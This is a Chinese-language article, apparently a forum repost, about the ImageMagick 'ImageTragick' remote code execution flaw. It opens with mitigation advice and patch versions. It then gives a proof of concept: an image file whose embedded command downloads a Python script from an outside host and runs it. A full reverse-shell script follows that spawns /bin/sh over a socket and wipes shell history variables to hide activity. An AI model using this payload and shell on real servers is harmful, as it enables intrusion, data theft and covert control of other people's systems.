ImageMagick是一款广泛流行的图像处理软件,有无数的网站使用它来进行图像处理,但在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。Slack安全工程师Ryan Hube发现了这一0day漏洞。 如果你在网站中使用了ImageMagick去识别,裁剪或者调整用户上传的图像,你必须确认已经使用了这些缓解措施,并且调整你的代码只接受有效的图像文件,沙盒ImageMagick也是一个不错的主意。 在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播,所以如果你使用了ImageMagick去处理用户输入,请立即采取相应的缓解措施。 ImageMagick被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupal。 该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。 换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。 ImageMagick团队已经承认了此漏洞,称: 最近发布的漏洞报告……包含可能存在的远程代码执行。
虽然该团队还没有公布任何安全补丁,但它建议网站管理者应该在配置文件中添加几行代码去阻止攻击,至少在某些情况下可以防御。 Web管理员同时被建议在文件发送给ImageMagick处理前,检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等。 为了让你更好地了解你将要面对的漏洞,下面提供一个可以瞒过ImageMagick的示例文件: push graphic-context viewbox 0 0 640 480 pop graphic-context
将其保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它 convert exploit.jpg out.png
是的,ImageMagick将会去执行嵌入的代码:ls -l命令。 将这条命令替换为其它的恶意命令,将会直接威胁到目标机器,不过你可能会触犯一些法律。
该漏洞将在ImageMagick 7.0.1-1和6.9.3-10版本中被修补,这些新版本预计将在周末前被公布。
POC:
创建图片,图片内容为:
- push graphic-context
- viewbox 0 0 640 480
- fill 'url(https://example.com/image.jpg"|wget http://www.chinabaiker.com.com/x.py -O /tmp/x.py && python /tmp/x.py 1.1.1.1 2333")'
- pop graphic-context
复制代码 然后监听
监听脚本:
- # -*- coding:utf-8 -*-
- #!/usr/bin/env python
- """
- back connect py version,only linux have pty module
- code by google security team
- """
- import sys,os,socket,pty
- shell = "/bin/sh"
- def usage(name):
- print 'python reverse connector'
- print 'usage: %s <ip_addr> <port>' % name
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit()
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((sys.argv[1],int(sys.argv[2])))
- print 'connect ok'
- except:
- print 'connect faild'
- sys.exit()
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- os.unsetenv("HISTSIZE")
- os.unsetenv("HISTORY")
- os.unsetenv("HISTSAVE")
- os.unsetenv("HISTZONE")
- os.unsetenv("HISTLOG")
- os.unsetenv("HISTCMD")
- os.putenv("HISTFILE",'/dev/null')
- os.putenv("HISTSIZE",'0')
- os.putenv("HISTFILESIZE",'0')
- pty.spawn(shell)
- s.close()
- if __name__ == '__main__':
- main()
复制代码
|